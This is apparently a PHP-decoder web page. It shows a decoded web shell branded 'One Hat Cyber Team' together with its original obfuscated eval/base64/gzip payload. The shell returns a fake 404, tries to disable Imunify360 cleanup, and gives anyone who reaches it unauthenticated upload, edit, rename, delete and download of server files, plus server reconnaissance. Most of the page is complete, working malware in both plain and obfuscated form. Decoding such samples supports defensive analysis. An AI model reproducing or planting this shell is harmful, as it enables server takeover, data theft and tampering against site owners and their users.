Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompr..

Decoded Output download

b'<?php
error_reporting(0);
ini_set(\'lsapi_backend_off\', \'1\');
ini_set("imunify360.cleanup_on_restore", false);
http_response_code(404);
$G3 = "scandir";
$c8 = [
    "7068705f756e616d65",
    "70687076657273696f6e",
    "676574637764",
    "6368646972",
    "707265675f73706c6974",
    "61727261795f64696666",
    "69735f646972",
    "69735f66696c65",
    "69735f7772697461626c65",
    "69735f7265616461626c65",
    "66696c6573697a65",
    "636f7079",
    "66696c655f657869737473",
    "66696c655f7075745f636f6e74656e7473",
    "66696c655f6765745f636f6e74656e7473",
    "6d6b646972",
    "72656e616d65",
    "737472746f74696d65",
    "68746d6c7370656369616c6368617273",
    "64617465",
    "66696c656d74696d65",
];
$lE = 0;
T4:
if (!($lE < count($c8))) {
    goto Je;
}
$c8[$lE] = JD($c8[$lE]);
Cy:
$lE++;
goto T4;
Je:
if (isset($_GET["p"])) {
    goto sr;
}
$Jd = $c8[2]();
goto VN;
sr:
$Jd = jD($_GET["p"]);
$c8[3](Jd($_GET["p"]));
VN:
function Ss($SP)
{
    $dE = "";
    $lE = 0;
    NZ:
    if (!($lE < strlen($SP))) {
        goto Xc;
    }
    $dE .= dechex(ord($SP[$lE]));
    WK:
    $lE++;
    goto NZ;
    Xc:
    return $dE;
}
function Jd($SP)
{
    $dE = "";
    $gf = strlen($SP) - 1;
    $lE = 0;
    Xp:
    if (!($lE < $gf)) {
        goto ur;
    }
    $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1]));
    Wn:
    $lE += 2;
    goto Xp;
    ur:
    return $dE;
}
function rn($F1)
{
    $Jd = fileperms($F1);
    if (($Jd & 0xc000) == 0xc000) {
        goto FZ;
    }
    if (($Jd & 0xa000) == 0xa000) {
        goto Eu;
    }
    if (($Jd & 0x8000) == 0x8000) {
        goto ES;
    }
    if (($Jd & 0x6000) == 0x6000) {
        goto sA;
    }
    if (($Jd & 0x4000) == 0x4000) {
        goto lG;
    }
    if (($Jd & 0x2000) == 0x2000) {
        goto tV;
    }
    if (($Jd & 0x1000) == 0x1000) {
        goto Tx;
    }
    $lE = "u";
    goto cC;
    FZ:
    $lE = "s";
    goto cC;
    Eu:
    $lE = "l";
    goto cC;
    ES:
    $lE = "-";
    goto cC;
    sA:
    $lE = "b";
    goto cC;
    lG:
    $lE = "d";
    goto cC;
    tV:
    $lE = "c";
    goto cC;
    Tx:
    $lE = "p";
    cC:
    $lE .= $Jd & 0x100 ? "r" : "-";
    $lE .= $Jd & 0x80 ? "w" : "-";
    $lE .= $Jd & 0x40 ? ($Jd & 0x800 ? "s" : "x") : ($Jd & 0x800 ? "S" : "-");
    $lE .= $Jd & 0x20 ? "r" : "-";
    $lE .= $Jd & 0x10 ? "w" : "-";
    $lE .= $Jd & 0x8 ? ($Jd & 0x400 ? "s" : "x") : ($Jd & 0x400 ? "S" : "-");
    $lE .= $Jd & 0x4 ? "r" : "-";
    $lE .= $Jd & 0x2 ? "w" : "-";
    $lE .= $Jd & 0x1 ? ($Jd & 0x200 ? "t" : "x") : ($Jd & 0x200 ? "T" : "-");
    return $lE;
}
function Xe($OB, $Ch = 1, $BL = "")
{
    global $Jd;
    $xe = $Ch == 1 ? "success" : "error";
    echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" .
        Ss($Jd) .
        $BL .
        "\"}})</script>";
}
function tF($yf)
{
    global $c8;
    if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ".") === "")) {
        goto IE;
    }
    return;
    IE:
    if ($c8[6]($yf)) {
        goto PF;
    }
    unlink($yf);
    goto jK;
    PF:
    array_map(
        "deldir",
        glob($yf . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)
    );
    rmdir($yf);
    jK:
}
?> 
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:image" content="//news24.co.id/thumb/news/news24_coid_1590287649.jpg" />
<meta property="og:title" content="One Hat Cyber Team" />
<meta property="og:description" content="Tidur = Lemah" />
<meta name="theme-color" content="lime">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<title>One Hat Cyber Team</title>
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="icon" href="//news24.co.id/thumb/news/news24_coid_1590287649.jpg">
<style type="text/css">
@import url(\'https://fonts.googleapis.com/css2?family=Almendra:ital,wght@0,400;0,700;1,400;1,700&display=swap\');
@import url(\'//fonts.googleapis.com/css2?family=Protest+Revolution&display=swap\');

body {
    color: black;
    font-size: 0px;
    font-family: \'Almendra\';
    width: 99%;
    padding: 0px;
    margin-right: auto;
    margin-left: auto;
    margin-top: 7px;
    margin-bottom: 7px;
    background-color: black!important;
}

.bg-dark {
    background-color: black!important;
}

.border {
    box-shadow: 0px 0px 10px lime;
    border: 2px solid lime!important;
    border-radius: 5px;
    background: transparent;
}

.border:hover {
    box-shadow: 0px 0px 10px lime;
    border: 2px solid lime!important;
}

.table td {
    padding: 0.1rem;
    box-shadow: inset 0px 0px 0px 1px lime;
    border-radius: 2px;
}

.table thead th {
    font-family: \'Kaushan Script\', cursive;
    box-shadow: inset 0px 0px 0px 1.5px lime;
    color: lime;
    padding: 0.25rem;
    border-radius: 5px;
    background: linear-gradient(to bottom, black, #3f3f3f80);
}

.table-hover tbody tr:hover td {
    background: #3f3f3f80;
    box-shadow: inset 0px 0px 0px 1px lime;
    border-radius: 2px;
}

.table-hover tbody tr:hover td>* {
}

.table>tbody>tr>* {
    color:#fff;
    vertical-align:middle;
}

.form-control {
    background:0 0!important;
    color:#fff!important;
    border-radius:0;
}

.form-control::placeholder {
    color:#fff;
    opacity:1;
}

.form-group {
    margin-top: 1.5px;
    margin-bottom: 1.5px;
}

li {
    font-size:large!important;
    color: lime!important;
    list-style: inherit!important;
}

a {
    color: #ffffff;
    text-decoration: none!important;
}

a:hover {
    text-decoration: none!important;
    color: lime;
    animation: kedip 1s linear infinite;
}

h5 {
    margin-top: 1.5px;
    margin-bottom: 1.5px;
    color: lime!important;
    padding: 2px;
}

textarea {
    width: 97%;
    font-size: medium!important;
    font-family: inherit;
    height: 44vh;
    padding-left: 5px;
}

button, input {
    border: 2px solid lime;
    border-radius: 5px;
    font-size: 15px;
    color:white;
    line-height: normal;
    font-family: inherit;
    box-shadow: 0px 0px 5px lime;
}

button, input:hover {
    border: 2px solid lime;
    cursor: pointer;
    box-shadow: 0px 0px 5px lime;
}

.ohct {
    padding-left: 1rem;
    padding-right: 1rem;
    color: white;
    border: 2px solid lime;
    border-radius: 5px;
    background-color: transparent;
    font-family: inherit;
    font-size: 16px;
    box-shadow: 0px 0px 5px lime;
}

.ohct:hover {
    border: 2px solid lime;
    color: lime!important;
    box-shadow: 0px 0px 5px lime;
}

.combet {
    color: white;
}

.combet:hover {
    color: lime;
}

.p-1 {
    padding: 4px;
}

::selection {
    color: black;
    background: silver;
}

.fa {
    padding: 10px;
    font-size: 20px;
    width: 50px;
    text-align: center;
    text-decoration: none;
    margin: 5px;
    color: lime;
}

.fa:hover {
    border: 2px solid lime;
}

.text-light {
    color: #f8f9fa!important;
    font-size: large!important;
}

.kedip {
    animation: kedip 1s linear infinite;
}

@keyframes kedip {
    0% {
        color: lime;
    }
    50% {
        color: white;
    }
    100% {
        color: lime;
    }
}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;border: 2px solid lime;border-radius:5px;">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
<a href="?" style="font-size: 2rem;text-shadow: 0px 0px 10px lime;padding-left: 0.3rem;padding-right: 0.3rem;"><span class="kedip">One Hat Cyber Team</span></a> 
</div>
<li>Your IP : <span style="color: white;"><?php echo gethostbyname(
    $_SERVER["REMOTE_ADDR"]
); ?></span></li>
<li>Server IP : <span style="color: white;"><?php echo gethostbyname(
    $_SERVER["SERVER_NAME"]
); ?></span></li>
<li>Server : <span style="color: white;"><?php echo php_uname(); ?></span></li>
<li>Server Software : <span style="color: white;"><?php echo $_SERVER[
    "SERVER_SOFTWARE"
]; ?></span></li>
<li>PHP Version : <span style="color: white;"><?php echo phpversion(); ?></span></li>
<li><a href="?p=<?= ss($Jd) .
    "&a=" .
    Ss("newFile") ?>" class="ohct">Buat File</a> | <a href="?p=<?= Ss($Jd) .
    "&a=" .
    sS("newDir") ?>" class="ohct">Buat Folder</a></li>
<li>
            <form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
    <input type="file" name="files[]">
    <input type="submit" value="Upload" name="submit" class="button ohct">
</form>

<?php if (!isset($_FILES[base64_decode(\'ZmlsZXM=\')])) {
    goto ea;
}

$uploadedFiles = $_FILES[base64_decode(\'ZmlsZXM=\')][base64_decode(\'bmFtZQ==\')];
$index = 0;

th:
if (!($index < count($uploadedFiles))) {
    goto ea;
}

if (move_uploaded_file($_FILES[base64_decode(\'ZmlsZXM=\')][base64_decode(\'dG1wX25hbWU=\')][$index], $uploadedFiles[$index])) {
    goto PG;
}

Xe(base64_decode(\'RmlsZSBnYWdhbCBkaXVuZ2dhaA==\'), 0);
goto tG;

PG:
xe(base64_decode(\'RmlsZSBiZXJoYXNpbCBkaXVuZ2dhaA==\'));

tG:
$index++;
goto th;

dx:
ea:

if (!isset($_GET[base64_decode(\'ZG93bmxvYWQ=\')])) {
    goto FA;
}

header(base64_decode(\'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0=\'));
header(base64_decode(\'Q29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQmluYXJ5\'));
header(base64_decode(\'Q29udGVudC1MZW5ndGg6IA==\') . getFileSize($_GET[base64_decode(\'bmFtZQ==\')]));
header(base64_decode(\'Q29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ig==\') . $_GET[base64_decode(\'bmFtZQ==\')] . base64_decode(\'Ig==\'));

FA:
?>
        </li>
</div>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;border: 2px solid lime;border-radius:5px;">
<li>Dir : <span><?php
$Op = $c8[4]("/(\\|\/)/", $Jd);
foreach ($Op as $j3 => $Oe) {
    if (!($j3 == 0 && $Oe == "")) {
        goto xi;
    }
    echo "<a href=\"?p=2f\" class=\"combet\">~</a>/";
    goto CS;
    xi:
    if (!($Oe == "")) {
        goto sq;
    }
    goto CS;
    sq:
    echo "<a class=\"combet\" href=\"?p=";
    $lE = 0;
    de:
    if (!($lE <= $j3)) {
        goto ie;
    }
    echo sS($Op[$lE]);
    if (!($lE != $j3)) {
        goto s0;
    }
    echo "2f";
    s0:
    dg:
    $lE++;
    goto de;
    ie:
    echo "\">{$Oe}</a>/";
    CS:
}
Go:
?> 
</span></li></div>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: large;">
<?php
if (!isset($_GET["a"])) {
    goto Un;
}
if (!isset($_GET["a"])) {
    goto cc;
}
$im = Jd($_GET["a"]);
cc:
?>
<?php
if ($im == "delete") {
    $BL = $Jd . "/" . jd($_GET["n"]);
    
    if ($_GET["t"] == "d") {
        rmdir($BL);
        
        if (!file_exists($BL)) {
            xe("folder deleted successfully");
        } else {
            Xe("failed to delete the folder", 0);
        }
    }
    
    if ($_GET["t"] == "f") {
        unlink($BL);
        
        if (!file_exists($BL)) {
            xe("file deleted successfully");
        } else {
            Xe("failed to delete the file", 0);
        }
    }
} else {
    Lu:
}
?>
<?php
if ($im == "newDir") {
    goto Fg;
}
if ($im == "newFile") {
    goto Pb;
}
if ($im == "rename") {
    goto Lw;
}
if ($im == "edit") {
    goto Ox;
}
if ($im == "view") {
    goto Ag;
}
goto WC;
Fg:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid lime;border-radius:5px;">Nama Folder Baru :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border p-1" autocomplete="off" style="text-align: center;">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div> 
</form> 
<?php if (isset($_POST[base64_decode(\'cw==\')])) {
    $folderName = $_POST[base64_decode(\'bg==\')];
    if (file_exists("{$Jd}/{$folderName}")) {
        xE(base64_decode(\'TmFtYSBmb2xkZXIgdGVsYWggZGlndW5ha2Fu\'), 0, base64_decode(\'JmE9\') . SS(base64_decode(\'bmV3RGly\')));
    } else {
        if (mkdir("{$Jd}/{$folderName}")) {
            xe(base64_decode(\'Rm9sZGVyIGJlcmhhc2lsIGRpYnVhdA==\'));
        } else {
            Xe(base64_decode(\'Rm9sZGVyIGdhZ2FsIGRpYnVhdA==\'), 0);
        }
    }
}
goto WC;
Pb:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid lime;border-radius:5px;">Nama File Baru :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border p-1" placeholder="" style="text-align: center;">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button> 
</div>
</form>
<?php if (isset($_POST[base64_decode(\'cw==\')])) {
    $fileName = $_POST[base64_decode(\'bg==\')];
    $fileContent = $_POST[base64_decode(\'Y3Ru\')];
    $filePath = "{$Jd}/{$fileName}";

    if (file_exists($filePath)) {
        xE(base64_decode(\'TmFtYSBmaWxlIHRlbGFoIGRpZ3VuYWthbg==\'), 0, base64_decode(\'JmE9\') . SS(base64_decode(\'bmV3RmlsZQ==\')));
    } else {
        if (file_put_contents($filePath, $fileContent)) {
            xe(base64_decode(\'RmlsZSBiZXJoYXNpbCBkaWJ1YXQ=\'), 1, base64_decode(\'JmE9\') . SS(base64_decode(\'dmlldw==\')) . base64_decode(\'Jm49\') . SS($fileName));
        } else {
            Xe(base64_decode(\'RmlsZSBnYWdhbCBkaWJ1YXQ=\'), 0);
        }
    }
}
goto WC;
Lw:
?>
<h5 class="border p-1">Rename File : <?= jD($_GET["n"]) ?></h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" style="text-align: center;" class="border p-1" value="<?= jD(
    $_GET["n"]
) ?>">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php
isset($_POST["s"])
    ? (rename($Jd . "/" . jD($_GET["n"]), $_POST["n"])
        ? xe("successfully changed the folder name")
        : Xe("failed to change the folder name", 0))
    : null;
goto WC;
Ox:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid lime;border-radius:5px;">Edit File Name : <font color="white"><?= jD($_GET["n"]); ?></font></h5>
<form method="post">
    <div class="form-group">
        <textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border"><?= htmlspecialchars(file_get_contents($Jd . "/" . jD($_GET["n"]))); ?></textarea>
    </div>
    <div class="form-group" style="margin-top: 10px;">
        <button type="submit" name="s" class="ohct">Save</button>
    </div>
</form>
<?php  
if (isset($_POST["s"])) {
    $file = $Jd . \'/\' . jD(basename($_GET["n"]));
    $content = $_POST["ctn"];
    
    if (strpos($file, $Jd) === 0 && file_put_contents($file, $content)) {
        xe("File content successfully updated", 1, "&a=" . sS("view") . "&n={$_GET["n"]}");
    } else {
        xE("Failed to update file content");
    }
}
goto WC;
Ag:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid lime;border-radius:5px;">View File Name : <font color="white"><?= jd(
    $_GET["n"]
) ?></font></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly><?= $c8[18](
    $c8[14]($Jd . "/" . jd($_GET["n"]))
) ?></textarea>
</div>
<?php WC: ?>
</div>
<?php
goto mR;
Un:
?>
<table class="table table-hover table-borderless table-sm" style="text-align: center;width: 100%;">
<thead class="text-light">
<tr>
<th style="width: 45%;">Name</th>
<th style="width: 13%;">Size</th>
<th style="width: 13%;">Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> <?php
$G3 = $c8[5]($G3($Jd), [".", ".."]);
foreach ($G3 as $yf) {
    if ($c8[6]("{$Jd}/{$yf}")) {
        goto CB;
    }
    goto Qj;
    CB:
    echo " 
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-folder-o\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i><a href=\"?p=" .
        sS("{$Jd}/{$yf}") .
        "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " .
        $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) .
        "\">{$yf}</a></td>
<td style=\"color: black;\"><span></span></td>
<td><font color=\"" .
        ($c8[8]("{$Jd}/{$yf}")
            ? "#00ff00"
            : (!$c8[9]("{$Jd}/{$yf}")
                ? "lime"
                : null)) .
        "\">" .
        RN("{$Jd}/{$yf}") .
        "</font></td>
<td style=\"color: black;width: 9.5%;\"><span></span></td>
<td>
<a href=\"?p=" .
        ss($Jd) .
        "&a=" .
        ss("rename") .
        "&n=" .
        ss($yf) .
        "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
</td>
<td>
<a href=\"?p=" .
        sS($Jd) .
        "&a=" .
        ss("delete") .
        "&n=" .
        ss($yf) .
        "\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
</td>
</tr>";
    Qj:
}
ad:
foreach ($G3 as $F1) {
    if ($c8[7]("{$Jd}/{$F1}")) {
        goto wA;
    }
    goto X1;
    wA:
    $kL = $c8[10]("{$Jd}/{$F1}") / 1024;
    $kL = round($kL, 3);
    $kL = $kL > 1024 ? round($kL / 1024, 2) . "  MB" : $kL . "  KB";
    echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-file-o\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i><a href=\"?p=" .
        SS($Jd) .
        "&a=" .
        sS("view") .
        "&n=" .
        SS($F1) .
        "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " .
        $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) .
        "\">{$F1}</a></td>
<td><span>{$kL}</span></td>
<td><font color=\"" .
        ($c8[8]("{$Jd}/{$F1}")
            ? "#00ff00"
            : (!$c8[9]("{$Jd}/{$F1}")
                ? "lime"
                : null)) .
        "\">" .
        rN("{$Jd}/{$F1}") .
        "</font></td>
<td><a href=\"?p=" .
        Ss($Jd) .
        "&a=" .
        Ss("edit") .
        "&n=" .
        SS($F1) .
        "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
<td><a href=\"?p=" .
        ss($Jd) .
        "&a=" .
        SS("rename") .
        "&n=" .
        ss($F1) .
        "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
<td><a href=\"?p=" .
        ss($Jd) .
        "&a=" .
        sS("delete") .
        "&n=" .
        ss($F1) .
        "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
</tr>";
    X1:
}
a2:
?> 
</tbody>
</table>
<?php mR: ?> 
</div>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return\'\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\b\'+e(c)+\'\b\',\'g\'),k[c])}}return p}(\'E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});\',41,41,\'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput\'.split(\'|\'),0,{}))</script>
</body>
</html>'

Did this file decode correctly?

Original Code

<?php
eval("".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev("=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